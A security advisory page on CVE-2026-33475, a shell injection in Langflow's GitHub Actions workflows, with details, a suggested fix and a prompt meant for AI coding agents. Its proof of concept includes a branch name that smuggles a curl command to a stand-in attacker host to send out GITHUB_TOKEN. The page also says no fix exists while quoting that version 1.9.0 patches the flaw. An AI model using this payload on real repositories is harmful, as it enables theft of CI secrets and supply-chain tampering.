# CVE-2026-33475: Langflow GitHub Actions Shell Injection

> Attackers can execute arbitrary shell commands and exfiltrate secrets via malicious branch names in Langflow GitHub Actions workflows.

- **Severity:** Critical 9.1 (`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`)
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 24 Mar 2026
- **Updated:** 25 Mar 2026
- **Also known as:** GHSA-87cc-65ph-2j4w

## What is CVE-2026-33475?

CVE-2026-33475 is a critical command injection vulnerability in Langflow Langflow, published on 24 Mar 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.

---

### Details

Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as:

```yaml
run: |
  validate_branch_name "${{ github.event.pull_request.head.ref }}"
```

Or:

```yaml
run: npx playwright install ${{ inputs.browsers }} --with-deps
```

Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection.

---

### PoC

1. **Fork** the Langflow repository
2. **Create a new branch** with the name:
   ```bash
   injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
   ```
3. **Open a Pull Request** to the main branch from the new branch
4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`)
5. The `run:` step containing:
   ```yaml
   echo "Branch: ${{ github.head_ref }}"
   ```
   Will execute:
   ```bash
   echo "Branch: injection-test"
   curl https://attacker.site/exfil?token=$GITHUB_TOKEN
   ```

6. The attacker receives the CI secret via the exfil URL.

---

### Impact

- **Type:** Shell Injection / Remote Code Execution in CI
- **Scope:** Any public Langflow fork with GitHub Actions enabled
- **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data

---

### Suggested Fix

Refactor affected workflows to **use environment variables** and wrap them in **double quotes**:

```yaml
env:
  BRANCH_NAME: ${{ github.head_ref }}
run: |
  echo "Branch is: \"$BRANCH_NAME\""
```

Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value.

---

### Affected Files (Langflow `1.3.4`)

- `.github/actions/install-playwright/action.yml`
- `.github/workflows/deploy-docs-draft.yml`
- `.github/workflows/docker-build.yml`
- `.github/workflows/release_nightly.yml`
- `.github/workflows/python_test.yml`
- `.github/workflows/typescript_test.yml`

Weakness: CWE-78 (Improper Neutralization of Special Elements used in an OS Command), CWE-74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component)

## Which versions are affected by CVE-2026-33475?

It affects 1 product.


Products: Langflow Langflow.

## How do I fix CVE-2026-33475?

No fix has been published for CVE-2026-33475 yet. Limit exposure of the affected software until one is available.

## Is CVE-2026-33475 being exploited?

It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-33475 exists.

Public exploit code:

- Security-research lab: reproduction of CVE-2026-33475 (GitHub Actions script injection via PR branch name in deploy-docs-draft.yml), snapshot of langflow-ai/langflow (github_poc): https://github.com/pvharmo2/gha-lab-9b5e3ccfbe

## Other vulnerabilities in Langflow Langflow

- [CVE-2026-9198](https://insights.sbomify.com/CVE-2026-9198/): IBM Langflow Code Injection (critical 9.8, exploited in the wild)
- [CVE-2026-0770](https://insights.sbomify.com/CVE-2026-0770/): Langflow Inclusion of Functionality from Untrusted Control Sphere (critical 9.8, exploited in the wild)
- [CVE-2025-3248](https://insights.sbomify.com/CVE-2025-3248/): Langflow Missing Authentication (critical 9.8, exploited in the wild)
- [CVE-2025-34291](https://insights.sbomify.com/CVE-2025-34291/): Langflow Origin Validation Error (critical 9.4, exploited in the wild)
- [CVE-2026-33017](https://insights.sbomify.com/CVE-2026-33017/): Langflow Code Injection (critical 9.3, exploited in the wild)

## Fix prompt for AI coding agents

```text
Check this codebase for CVE-2026-33475 and fix it if it is affected.

What it is: CVE-2026-33475 is a critical command injection vulnerability in Langflow Langflow, published on 24 Mar 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-33475 exists.

Affected product: Langflow Langflow. No package-level version data is available, so check the vendor advisory linked from the reference page.

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/CVE-2026-33475/ (Markdown: https://insights.sbomify.com/CVE-2026-33475/index.md)
```

## Sources

- CVE record: https://www.cve.org/CVERecord?id=CVE-2026-33475
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33475
- OSV: https://osv.dev/vulnerability/CVE-2026-33475

---
From sbomify Insights: https://insights.sbomify.com/CVE-2026-33475/
Summaries are generated and may contain mistakes; the official description above is the record.